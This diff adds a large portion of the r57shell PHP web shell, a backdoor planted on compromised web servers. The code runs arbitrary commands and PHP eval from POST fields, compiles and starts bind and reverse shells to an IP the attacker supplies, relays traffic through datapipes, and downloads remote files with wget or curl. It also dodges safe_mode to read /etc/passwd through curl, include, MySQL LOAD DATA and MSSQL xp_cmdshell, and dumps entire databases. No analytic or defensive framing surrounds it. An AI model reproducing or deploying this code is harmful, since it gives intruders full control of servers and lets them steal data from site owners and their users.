+ case 'dir':
+ if($_POST['action'] == "create"){
+ if(mkdir($_POST['mk_name']))
+ {
+ $_POST['cmd']="";
+ echo "".$lang[$language.'_text62']."
";
+ }
+ else { echo ce($_POST['mk_name']); $_POST['cmd']=""; }
+ }
+ else if($_POST['action'] == "delete"){
+ if(rmdir($_POST['mk_name'])) echo "".$lang[$language.'_text64']."
";
+ $_POST['cmd']="";
+ }
+ break;
+ }
+ }
+if(!empty($_POST['cmd']) && $_POST['cmd']=="edit_file")
+ {
+ if(!$file=@fopen($_POST['e_name'],"r+")) { $only_read = 1; @fclose($file); }
+ if(!$file=@fopen($_POST['e_name'],"r")) { echo re($_POST['e_name']); $_POST['cmd']=""; }
+ else {
+ echo $table_up3;
+ echo $font;
+ echo "";
+ echo ws(3)."".$_POST['e_name']." ";
+ echo "";
+ echo @htmlspecialchars(@fread($file,@filesize($_POST['e_name'])));
+ fclose($file);
+ echo " ";
+ echo " ";
+ echo " ";
+ echo " ";
+ echo (!empty($only_read)?(" ".$lang[$language.'_text44']):(" "));
+ echo "
";
+ echo "";
+ echo " ";
+ echo "
";
+ exit();
+ }
+ }
+if(!empty($_POST['cmd']) && $_POST['cmd']=="save_file")
+ {
+ if(!$file=@fopen($_POST['e_name'],"w")) { echo we($_POST['e_name']); }
+ else {
+ @fwrite($file,$_POST['e_text']);
+ @fclose($file);
+ $_POST['cmd']="";
+ echo "".$lang[$language.'_text45']."
";
+ }
+ }
+if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="C"))
+{
+ cf("/tmp/bd.c",$port_bind_bd_c);
+ $blah = ex("gcc -o /tmp/bd /tmp/bd.c");
+ @unlink("/tmp/bd.c");
+ $blah = ex("/tmp/bd ".$_POST['port']." ".$_POST['bind_pass']." &");
+ $_POST['cmd']="ps -aux | grep bd";
+}
+if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="Perl"))
+{
+ cf("/tmp/bdpl",$port_bind_bd_pl);
+ $p2=which("perl");
+ if(empty($p2)) $p2="perl";
+ $blah = ex($p2." /tmp/bdpl ".$_POST['port']." &");
+ $_POST['cmd']="ps -aux | grep bdpl";
+}
+if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="Perl"))
+{
+ cf("/tmp/back",$back_connect);
+ $p2=which("perl");
+ if(empty($p2)) $p2="perl";
+ $blah = ex($p2." /tmp/back ".$_POST['ip']." ".$_POST['port']." &");
+ $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\"";
+}
+if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="C"))
+{
+ cf("/tmp/back.c",$back_connect_c);
+ $blah = ex("gcc -o /tmp/backc /tmp/back.c");
+ @unlink("/tmp/back.c");
+ $blah = ex("/tmp/backc ".$_POST['ip']." ".$_POST['port']." &");
+ $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\"";
+}
+if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="Perl"))
+{
+ cf("/tmp/dp",$datapipe_pl);
+ $p2=which("perl");
+ if(empty($p2)) $p2="perl";
+ $blah = ex($p2." /tmp/dp ".$_POST['local_port']." ".$_POST['remote_host']." ".$_POST['remote_port']." &");
+ $_POST['cmd']="ps -aux | grep dp";
+}
+if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="C"))
+{
+ cf("/tmp/dpc.c",$datapipe_c);
+ $blah = ex("gcc -o /tmp/dpc /tmp/dpc.c");
+ @unlink("/tmp/dpc.c");
+ $blah = ex("/tmp/dpc ".$_POST['local_port']." ".$_POST['remote_port']." ".$_POST['remote_host']." &");
+ $_POST['cmd']="ps -aux | grep dpc";
+}
+if (!empty($_POST['alias'])){ foreach ($aliases as $alias_name=>$alias_cmd) { if ($_POST['alias'] == $alias_name){$_POST['cmd']=$alias_cmd;}}}
+if (!empty($HTTP_POST_FILES['userfile']['name']))
+{
+if(isset($_POST['nf1']) && !empty($_POST['new_name'])) { $nfn = $_POST['new_name']; }
+else { $nfn = $HTTP_POST_FILES['userfile']['name']; }
+@copy($HTTP_POST_FILES['userfile']['tmp_name'],
+ $_POST['dir']."/".$nfn)
+ or print("Error uploading file ".$HTTP_POST_FILES['userfile']['name']."
");
+}
+if (!empty($_POST['with']) && !empty($_POST['rem_file']) && !empty($_POST['loc_file']))
+{
+ switch($_POST['with'])
+ {
+ case wget:
+ $_POST['cmd'] = which('wget')." ".$_POST['rem_file']." -O ".$_POST['loc_file']."";
+ break;
+ case fetch:
+ $_POST['cmd'] = which('fetch')." -p ".$_POST['rem_file']." -o ".$_POST['loc_file']."";
+ break;
+ case lynx:
+ $_POST['cmd'] = which('lynx')." -source ".$_POST['rem_file']." > ".$_POST['loc_file']."";
+ break;
+ case links:
+ $_POST['cmd'] = which('links')." -source ".$_POST['rem_file']." > ".$_POST['loc_file']."";
+ break;
+ case GET:
+ $_POST['cmd'] = which('GET')." ".$_POST['rem_file']." > ".$_POST['loc_file']."";
+ break;
+ case curl:
+ $_POST['cmd'] = which('curl')." ".$_POST['rem_file']." -o ".$_POST['loc_file']."";
+ break;
+ }
+}
+echo $table_up3;
+if (empty($_POST['cmd'])&&!$safe_mode) { $_POST['cmd']=($windows)?("dir"):("ls -lia"); }
+else if(empty($_POST['cmd'])&&$safe_mode){ $_POST['cmd']="safe_dir"; }
+echo $font.$lang[$language.'_text1'].": ".$_POST['cmd']." ";
+if($safe_mode)
+{
+ switch($_POST['cmd'])
+ {
+ case 'safe_dir':
+ $d=@dir($dir);
+ if ($d)
+ {
+ while (false!==($file=$d->read()))
+ {
+ if ($file=="." || $file=="..") continue;
+ @clearstatcache();
+ list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file);
+ if($windows){
+ echo date("d.m.Y H:i",$mtime);
+ if(@is_dir($file)) echo " "; else printf("% 7s ",$size);
+ }
+ else{
+ $owner = @posix_getpwuid($uid);
+ $grgid = @posix_getgrgid($gid);
+ echo $inode." ";
+ echo perms(@fileperms($file));
+ printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size);
+ echo date("d.m.Y H:i ",$mtime);
+ }
+ echo "$file\n";
+ }
+ $d->close();
+ }
+ else echo $lang[$language._text29];
+ break;
+ case 'safe_file':
+ if(@is_file($_POST['file']))
+ {
+ $file = @file($_POST['file']);
+ if($file)
+ {
+ $c = @sizeof($file);
+ for($i=0;$i<$c;$i++) { echo htmlspecialchars($file[$i]); }
+ }
+ else echo $lang[$language._text29];
+ }
+ else echo $lang[$language._text31];
+ break;
+ case 'test1':
+ $ci = @curl_init("file://".$_POST['test1_file']."");
+ $cf = @curl_exec($ci);
+ echo $cf;
+ break;
+ case 'test2':
+ @include($_POST['test2_file']);
+ break;
+ case 'test3':
+ if(!isset($_POST['test3_port'])||empty($_POST['test3_port'])) { $_POST['test3_port'] = "3306"; }
+ $db = @mysql_connect('localhost:'.$_POST['test3_port'],$_POST['test3_ml'],$_POST['test3_mp']);
+ if($db)
+ {
+ if(@mysql_select_db($_POST['test3_md'],$db))
+ {
+ $sql = "DROP TABLE IF EXISTS temp_r57_table;";
+ @mysql_query($sql);
+ $sql = "CREATE TABLE `temp_r57_table` ( `file` LONGBLOB NOT NULL );";
+ @mysql_query($sql);
+ $sql = "LOAD DATA INFILE \"".$_POST['test3_file']."\" INTO TABLE temp_r57_table;";
+ @mysql_query($sql);
+ $sql = "SELECT * FROM temp_r57_table;";
+ $r = @mysql_query($sql);
+ while(($r_sql = @mysql_fetch_array($r))) { echo @htmlspecialchars($r_sql[0]); }
+ $sql = "DROP TABLE IF EXISTS temp_r57_table;";
+ @mysql_query($sql);
+ }
+ else echo "[-] ERROR! Can't select database";
+ @mysql_close($db);
+ }
+ else echo "[-] ERROR! Can't connect to mysql server";
+ break;
+ case 'test4':
+ if(!isset($_POST['test4_port'])||empty($_POST['test4_port'])) { $_POST['test4_port'] = "1433"; }
+ $db = @mssql_connect('localhost,'.$_POST['test4_port'],$_POST['test4_ml'],$_POST['test4_mp']);
+ if($db)
+ {
+ if(@mssql_select_db($_POST['test4_md'],$db))
+ {
+ @mssql_query("drop table r57_temp_table",$db);
+ @mssql_query("create table r57_temp_table ( string VARCHAR (500) NULL)",$db);
+ @mssql_query("insert into r57_temp_table EXEC master.dbo.xp_cmdshell '".$_POST['test4_file']."'",$db);
+ $res = mssql_query("select * from r57_temp_table",$db);
+ while(($row=@mssql_fetch_row($res)))
+ {
+ echo $row[0]."\r\n";
+ }
+ @mssql_query("drop table r57_temp_table",$db);
+ }
+ else echo "[-] ERROR! Can't select database";
+ @mssql_close($db);
+ }
+ else echo "[-] ERROR! Can't connect to MSSQL server";
+ break;
+ }
+}
+else if(($_POST['cmd']!="php_eval")&&($_POST['cmd']!="mysql_dump")&&($_POST['cmd']!="db_show")&&($_POST['cmd']!="db_query")){
+ $cmd_rep = ex($_POST['cmd']);
+ if($windows) { echo @htmlspecialchars(@convert_cyr_string($cmd_rep,'d','w'))."\n"; }
+ else { echo @htmlspecialchars($cmd_rep)."\n"; }}
+if ($_POST['cmd']=="php_eval"){
+ $eval = @str_replace("","",$_POST['php_eval']);
+ $eval = @str_replace("?>","",$eval);
+ @eval($eval);}
+if ($_POST['cmd']=="db_show")
+ {
+ switch($_POST['db'])
+ {
+ case 'MySQL':
+ if(empty($_POST['db_port'])) { $_POST['db_port'] = '3306'; }
+ $db = @mysql_connect('localhost:'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']);
+ if($db)
+ {
+ $res=@mysql_query("SHOW DATABASES", $db);
+ while(($row=@mysql_fetch_row($res)))
+ {
+ echo "[+] ".$row[0]."\r\n";
+ if(isset($_POST['st'])){
+ $res2 = @mysql_query("SHOW TABLES FROM ".$row[0],$db);
+ while(($row2=@mysql_fetch_row($res2)))
+ {
+ echo " | - ".$row2[0]."\r\n";
+ if(isset($_POST['sc']))
+ {
+ $res3 = @mysql_query("SHOW COLUMNS FROM ".$row[0].".".$row2[0],$db);
+ while(($row3=@mysql_fetch_row($res3))) { echo " | - ".$row3[0]."\r\n"; }
+ }
+ }
+ }
+ }
+ @mysql_close($db);
+ }
+ else echo "[-] ERROR! Can't connect to MySQL server";
+ break;
+ case 'MSSQL':
+ if(empty($_POST['db_port'])) { $_POST['db_port'] = '1433'; }
+ $db = @mssql_connect('localhost,'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']);
+ if($db)
+ {
+ $res=@mssql_query("sp_databases", $db);
+ while(($row=@mssql_fetch_row($res)))
+ {
+ echo "[+] ".$row[0]."\r\n";
+ if(isset($_POST['st'])){
+ @mssql_select_db($row[0]);
+ $res2 = @mssql_query("sp_tables",$db);
+ while(($row2=@mssql_fetch_array($res2)))
+ {
+ if($row2['TABLE_TYPE'] == 'TABLE' && $row2['TABLE_NAME'] != 'dtproperties')
+ {
+ echo " | - ".$row2['TABLE_NAME']."\r\n";
+ if(isset($_POST['sc']))
+ {
+ $res3 = @mssql_query("sp_columns ".$row2[2],$db);
+ while(($row3=@mssql_fetch_array($res3))) { echo " | - ".$row3['COLUMN_NAME']."\r\n"; }
+ }
+ }
+ }
+ }
+ }
+ @mssql_close($db);
+ }
+ else echo "[-] ERROR! Can't connect to MSSQL server";
+ break;
+ case 'PostgreSQL':
+ if(empty($_POST['db_port'])) { $_POST['db_port'] = '5432'; }
+ $str = "host='localhost' port='".$_POST['db_port']."' user='".$_POST['mysql_l']."' password='".$_POST['mysql_p']."' dbname='".$_POST['mysql_db']."'";
+ $db = @pg_connect($str);
+ if($db)
+ {
+ $res=@pg_query($db,"SELECT datname FROM pg_database WHERE datistemplate='f'");
+ while(($row=@pg_fetch_row($res)))
+ {
+ echo "[+] ".$row[0]."\r\n";
+ }
+ @pg_close($db);
+ }
+ else echo "[-] ERROR! Can't connect to PostgreSQL server";
+ break;
+ }
+ }
+if ($_POST['cmd']=="mysql_dump")
+ {
+ if(isset($_POST['dif'])) { $fp = @fopen($_POST['dif_name'], "w"); }
+ if((!empty($_POST['dif'])&&$fp)||(empty($_POST['dif']))){
+ $sqh = "# homepage: http://\r\n";
+ $sqh .= "# ---------------------------------\r\n";
+ $sqh .= "# date : ".date ("j F Y g:i")."\r\n";
+ $sqh .= "# database : ".$_POST['mysql_db']."\r\n";
+ $sqh .= "# table : ".$_POST['mysql_tbl']."\r\n";
+ $sqh .= "# ---------------------------------\r\n\r\n";
+ switch($_POST['db']){
+ case 'MySQL':
+ if(empty($_POST['db_port'])) { $_POST['db_port'] = '3306'; }
+ $db = @mysql_connect('localhost:'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']);
+ if($db)
+ {
+ if(@mysql_select_db($_POST['mysql_db'],$db))
+ {
+ $sql1 = "# MySQL dump created by r57shell\r\n";
+ $sql1 .= $sqh;
+ $res = @mysql_query("SHOW CREATE TABLE `".$_POST['mysql_tbl']."`", $db);
+ $row = @mysql_fetch_row($res);
+ $sql1 .= $row[1]."\r\n\r\n";
+ $sql1 .= "# ---------------------------------\r\n\r\n";
+ $sql2 = '';
+ $res = @mysql_query("SELECT * FROM `".$_POST['mysql_tbl']."`", $db);
+ if (@mysql_num_rows($res) > 0) {
+ while (($row = @mysql_fetch_assoc($res))) {
+ $keys = @implode("`, `", @array_keys($row));
+ $values = @array_values($row);
+ foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
+ $values = @implode("', '", $values);
+ $sql2 .= "INSERT INTO `".$_POST['mysql_tbl']."` (`".$keys."`) VALUES ('".htmlspecialchars($values)."');\r\n";
+ }
+ $sql2 .= "\r\n# ---------------------------------";
+ }
+ if(!empty($_POST['dif'])&&$fp) { @fputs($fp,$sql1.$sql2); }
+ else { echo $sql1.$sql2; }
+ }
+ else echo "[-] ERROR! Can't select database";
+ @mysql_close($db);
+ }
+ else echo "[-] ERROR! Can't connect to MySQL server";
+ break;
+ case 'MSSQL':
+ if(empty($_POST['db_port'])) { $_POST['db_port'] = '1433'; }
+ $db = @mssql_connect('localhost,'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']);
+ if($db)
+ {
+ if(@mssql_select_db($_POST['mysql_db'],$db))
+ {
+ $sql1 = "# MSSQL dump created by r57shell\r\n";
+ $sql1 .= $sqh;
+ $sql2 = '';
+ $res = @mssql_query("SELECT * FROM ".$_POST['mysql_tbl']."", $db);
+ if (@mssql_num_rows($res) > 0) {
+ while (($row = @mssql_fetch_assoc($res))) {
+ $keys = @implode(", ", @array_keys($row));
+ $values = @array_values($row);
+ foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
+ $values = @implode("', '", $values);
+ $sql2 .= "INSERT INTO ".$_POST['mysql_tbl']." (".$keys.") VALUES ('".htmlspecialchars($values)."');\r\n";
+ }
+ $sql2 .= "\r\n# ---------------------------------";
+ }
+ if(!empty($_POST['dif'])&&$fp) { @fputs($fp,$sql1.$sql2); }
+ else { echo $sql1.$sql2; }
+ }
+ else echo "[-] ERROR! Can't select database";
+ @mssql_close($db);
+ }
+ else echo "[-] ERROR! Can't connect to MSSQL server";
+ break;
+ case 'PostgreSQL':
+ if(empty($_POST['db_port'])) { $_POST['db_port'] = '5432'; }
+ $str = "host='localhost' port='".$_POST['db_port']."' user='".$_POST['mysql_l']."' password='".$_POST['mysql_p']."' dbname='".$_POST['mysql_db']."'";
+ $db = @pg_connect($str);
+ if($db)
+ {
+ $sql1 = "# PostgreSQL dump created by r57shell\r\n";
+ $sql1 .= $sqh;
+ $sql2 = '';
+ $res = @pg_query($db,"SELECT * FROM ".$_POST['mysql_tbl']."");
+ if (@pg_num_rows($res) > 0) {
+ while (($row = @pg_fetch_assoc($res))) {
+ $keys = @implode(", ", @array_keys($row));
+ $values = @array_values($row);
+ foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
+ $values = @implode("', '", $values);
+ $sql2 .= "INSERT INTO ".$_POST['mysql_tbl']." (".$keys.") VALUES ('".htmlspecialchars($values)."');\r\n";
+ }
+ $sql2 .= "\r\n# ---------------------------------";
+ }
+ if(!empty($_POST['dif'])&&$fp) { @fputs($fp,$sql1.$sql2); }
+ else { echo $sql1.$sql2; }
+ @pg_close($db);
+ }
+ else echo "[-] ERROR! Can't connect to PostgreSQL server";
+ break;
+ }
+ }
+ else if(!empty($_POST['dif'])&&!$fp) { echo "[-] ERROR! Can't write in dump file"; }
+ }
+echo "
";
+echo "";
+echo "
";
+echo "";
+if(!$safe_mode){
+echo $fs.$table_up1.$lang[$language.'_text2'].$table_up2.$ts;
+echo sr(15,"".$lang[$language.'_text3'].$arrow." ",in('text','cmd',85,''));
+echo sr(15,"".$lang[$language.'_text4'].$arrow." ",in('text','dir',85,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
+echo $te.$table_end1.$fe;
+}
+else{
+echo $fs.$table_up1.$lang[$language.'_text28'].$table_up2.$ts;
+echo sr(15,"".$lang[$language.'_text4'].$arrow." ",in('text','dir',85,$dir).in('hidden','cmd',0,'safe_dir').ws(4).in('submit','submit',0,$lang[$language.'_butt6']));
+echo $te.$table_end1.$fe;
+}
+echo $fs.$table_up1.$lang[$language.'_text42'].$table_up2.$ts;
+echo sr(15,"".$lang[$language.'_text43'].$arrow." ",in('text','e_name',85,$dir).in('hidden','cmd',0,'edit_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt11']));
+echo $te.$table_end1.$fe;
+if($safe_mode){
+echo $fs.$table_up1.$lang[$language.'_text57'].$table_up2.$ts;
+echo sr(15,"".$lang[$language.'_text58'].$arrow." ",in('text','mk_name',54,(!empty($_POST['mk_name'])?($_POST['mk_name']):("new_name"))).ws(4)."".$lang[$language.'_text65']." ".$lang[$language.'_text66']." ".ws(3)."".$lang[$language.'_text59']." ".$lang[$language.'_text60']." ".in('hidden','cmd',0,'mk').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt13']));
+echo $te.$table_end1.$fe;
+}
+if($safe_mode && $unix){
+echo $fs.$table_up1.$lang[$language.'_text67'].$table_up2.$ts;
+echo sr(15,"".$lang[$language.'_text68'].$arrow." ","CHMOD CHOWN CHGRP ".ws(2)."".$lang[$language.'_text69'].$arrow." ".ws(2).in('text','param1',40,(($_POST['param1'])?($_POST['param1']):("filename"))).ws(2)."".$lang[$language.'_text70'].$arrow." ".ws(2).in('text','param2 title="'.$lang[$language.'_text71'].'"',26,(($_POST['param2'])?($_POST['param2']):("0777"))).in('hidden','cmd',0,'ch_').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
+echo $te.$table_end1.$fe;
+}
+if(!$safe_mode){
+foreach ($aliases as $alias_name=>$alias_cmd)
+ {
+ $aliases2 .= "$alias_name ";
+ }
+echo $fs.$table_up1.$lang[$language.'_text7'].$table_up2.$ts;
+echo sr(15,"".ws(9).$lang[$language.'_text8'].$arrow.ws(4)." ","".$aliases2." ".in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
+echo $te.$table_end1.$fe;
+}
+echo $fs.$table_up1.$lang[$language.'_text54'].$table_up2.$ts;
+echo sr(15,"".$lang[$language.'_text52'].$arrow." ",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12']));
+echo sr(15,"".$lang[$language.'_text53'].$arrow." ",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )");
+echo sr(15,"".$lang[$language.'_text55'].$arrow." ",in('checkbox','m id=m',0,'1').in('text','s_mask',82,'.txt;.php')."* ( .txt;.php;.htm )".in('hidden','cmd',0,'search_text').in('hidden','dir',0,$dir));
+echo $te.$table_end1.$fe;
+echo $fs.$table_up1.$lang[$language.'_text76'].$table_up2.$ts;
+echo sr(15,"".$lang[$language.'_text72'].$arrow." ",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12']));
+echo sr(15,"".$lang[$language.'_text73'].$arrow." ",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )");
+echo sr(15,"".$lang[$language.'_text74'].$arrow." ",in('text','s_mask',85,'*.[hc]').ws(1).$lang[$language.'_text75'].in('hidden','cmd',0,'find_text').in('hidden','dir',0,$dir));
+echo $te.$table_end1.$fe;
+echo $fs.$table_up1.$lang[$language.'_text32'].$table_up2.$font;
+echo "";
+echo (!empty($_POST['php_eval'])?($_POST['php_eval']):("/* delete script */\r\n//unlink(\"r57shell.php\");\r\n//readfile(\"/etc/passwd\");"));
+echo " ";
+echo in('hidden','dir',0,$dir).in('hidden','cmd',0,'php_eval');
+echo "
".ws(1).in('submit','submit',0,$lang[$language.'_butt1']);
+echo "";
+echo $table_end1.$fe;
+if($safe_mode&&$curl_on)
+{
+echo $fs.$table_up1.$lang[$language.'_text33'].$table_up2.$ts;
+echo sr(15,"
".$lang[$language.'_text30'].$arrow." ",in('text','test1_file',85,(!empty($_POST['test1_file'])?($_POST['test1_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test1').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.$table_end1.$fe;
+}
+if($safe_mode)
+{
+echo $fs.$table_up1.$lang[$language.'_text34'].$table_up2.$ts;
+echo "
";
+echo sr(15,"".$lang[$language.'_text30'].$arrow." ",in('text','test2_file',85,(!empty($_POST['test2_file'])?($_POST['test2_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test2').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.$table_end1.$fe;
+}
+if($safe_mode&&$mysql_on)
+{
+echo $fs.$table_up1.$lang[$language.'_text35'].$table_up2.$ts;
+echo sr(15,"".$lang[$language.'_text36'].$arrow." ",in('text','test3_md',15,(!empty($_POST['test3_md'])?($_POST['test3_md']):("mysql"))).ws(4)."".$lang[$language.'_text37'].$arrow." ".in('text','test3_ml',15,(!empty($_POST['test3_ml'])?($_POST['test3_ml']):("root"))).ws(4)."".$lang[$language.'_text38'].$arrow." ".in('text','test3_mp',15,(!empty($_POST['test3_mp'])?($_POST['test3_mp']):("password"))).ws(4)."".$lang[$language.'_text14'].$arrow." ".in('text','test3_port',15,(!empty($_POST['test3_port'])?($_POST['test3_port']):("3306"))));
+echo sr(15,"".$lang[$language.'_text30'].$arrow." ",in('text','test3_file',96,(!empty($_POST['test3_file'])?($_POST['test3_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test3').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.$table_end1.$fe;
+}
+if($safe_mode&&$mssql_on)
+{
+echo $fs.$table_up1.$lang[$language.'_text85'].$table_up2.$ts;
+echo sr(15,"".$lang[$language.'_text36'].$arrow." ",in('text','test4_md',15,(!empty($_POST['test4_md'])?($_POST['test4_md']):("master"))).ws(4)."".$lang[$language.'_text37'].$arrow." ".in('text','test4_ml',15,(!empty($_POST['test4_ml'])?($_POST['test4_ml']):("sa"))).ws(4)."".$lang[$language.'_text38'].$arrow." ".in('text','test4_mp',15,(!empty($_POST['test4_mp'])?($_POST['test4_mp']):("password"))).ws(4)."".$lang[$language.'_text14'].$arrow." ".in('text','test4_port',15,(!empty($_POST['test4_port'])?($_POST['test4_port']):("1433"))));
+echo sr(15,"".$lang[$language.'_text3'].$arrow." ",in('text','test4_file',96,(!empty($_POST['test4_file'])?($_POST['test4_file']):("dir"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test4').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.$table_end1.$fe;
+}
+if(@ini_get('file_uploads')){
+echo "";
+echo $table_up1.$lang[$language.'_text5'].$table_up2.$ts;
+echo sr(15,"".$lang[$language.'_text6'].$arrow." ",in('file','userfile',85,''));
+echo sr(15,"".$lang[$language.'_text21'].$arrow." ",in('checkbox','nf1 id=nf1',0,'1').in('text','new_name',82,'').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2']));
+echo $te.$table_end1.$fe;
+}
+if(!$safe_mode&&!$windows){
+echo $fs.$table_up1.$lang[$language.'_text15'].$table_up2.$ts;
+echo sr(15,"".$lang[$language.'_text16'].$arrow." ","wget fetch lynx links curl GET ".in('hidden','dir',0,$dir).ws(2)."".$lang[$language.'_text17'].$arrow." ".in('text','rem_file',78,'http://'));
+echo sr(15,"".$lang[$language.'_text18'].$arrow." ",in('text','loc_file',105,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2']));
+echo $te.$table_end1.$fe;
+}
+if($mysql_on||$mssql_on||$pg_on||$ora_on)
+{
+echo $table_up1.$lang[$language.'_text82'].$table_up2.$ts."".$fs."".$ts;
+echo "".$lang[$language.'_text77']."
";
+echo sr(45,"".$lang[$language.'_text80'].$arrow." ","MySQL MSSQL PostgreSQL ");
+echo sr(45,"".$lang[$language.'_text14'].$arrow." ",in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306"))));
+echo sr(45,"".$lang[$language.'_text37'].$arrow." ",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))));
+echo sr(45,"".$lang[$language.'_text38'].$arrow." ",in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password"))));
+echo sr(45,"".$lang[$language.'_text78'].$arrow." ",in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_show').in('checkbox','st id=st',0,'1'));
+echo sr(45,"".$lang[$language.'_text79'].$arrow." ",in('checkbox','sc id=sc',0,'1'));
+echo sr(45,"",in('submit','submit',0,$lang[$language.'_butt7']));
+echo $te." ".$fe.$fs."".$ts;
+echo "".$lang[$language.'_text40']."
";
+echo sr(45,"".$lang[$language.'_text80'].$arrow." ","MySQL MSSQL PostgreSQL ");
+echo sr(45,"".$lang[$language.'_text14'].$arrow." ",in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306"))));
+echo sr(45,"".$lang[$language.'_text37'].$arrow." ",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))));
+echo sr(45,"".$lang[$language.'_text38'].$arrow." ",in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password"))));
+echo sr(45,"".$lang[$language.'_text36'].$arrow." ",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))));
+echo sr(45,"".$lang[$language.'_text39'].$arrow." ",in('text','mysql_tbl',15,(!empty($_POST['mysql_tbl'])?($_POST['mysql_tbl']):("user"))));
+echo sr(45,in('hidden','dir',0,$dir).in('hidden','cmd',0,'mysql_dump')."".$lang[$language.'_text41'].$arrow." ",in('checkbox','dif id=dif',0,'1'));
+echo sr(45,"".$lang[$language.'_text59'].$arrow." ",in('text','dif_name',15,(!empty($_POST['dif_name'])?($_POST['dif_name']):("dump.sql"))));
+echo sr(45,"",in('submit','submit',0,$lang[$language.'_butt9']));
+echo $te." ".$fe.$fs."".$ts;
+echo "".$lang[$language.'_text83']."
";
+echo sr(45,"".$lang[$language.'_text80'].$arrow." ","MySQL MSSQL PostgreSQL Oracle ");
+echo sr(45,"".$lang[$language.'_text14'].$arrow." ",in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306"))));
+echo sr(45,"".$lang[$language.'_text37'].$arrow." ",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))));
+echo sr(45,"".$lang[$language.'_text38'].$arrow." ",in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password"))));
+echo sr(45,"".$lang[$language.'_text36'].$arrow." ",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))));
+echo sr(45,"".$lang[$language.'_text84'].$arrow." ".in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_query'),"");
+echo $te."".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSELECT * FROM user;"))." ".in('submit','submit',0,$lang[$language.'_butt1'])."
".$fe."
";
+}
+if(!$safe_mode&&!$windows){
+echo $table_up1.$lang[$language.'_text81'].$table_up2.$ts."
".$fs."".$ts;
+echo "".$lang[$language.'_text9']."
";
+echo sr(40,"".$lang[$language.'_text10'].$arrow." ",in('text','port',15,'11457'));
+echo sr(40,"".$lang[$language.'_text11'].$arrow." ",in('text','bind_pass',15,'r57'));
+echo sr(40,"".$lang[$language.'_text20'].$arrow." ","Perl C ".in('hidden','dir',0,$dir));
+echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt3']));
+echo $te." ".$fe.$fs."".$ts;
+echo "".$lang[$language.'_text12']."
";
+echo sr(40,"".$lang[$language.'_text13'].$arrow." ",in('text','ip',15,((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1"))));
+echo sr(40,"".$lang[$language.'_text14'].$arrow." ",in('text','port',15,'11457'));
+echo sr(40,"".$lang[$language.'_text20'].$arrow." ","Perl C ".in('hidden','dir',0,$dir));
+echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt4']));
+echo $te." ".$fe.$fs."".$ts;
+echo "".$lang[$language.'_text22']."
";
+echo sr(40,"".$lang[$language.'_text23'].$arrow." ",in('text','local_port',15,'11457'));
+echo sr(40,"".$lang[$language.'_text24'].$arrow." ",in('text','remote_host',15,'irc.dalnet.ru'));
+echo sr(40,"".$lang[$language.'_text25'].$arrow." ",in('text','remote_port',15,'6667'));
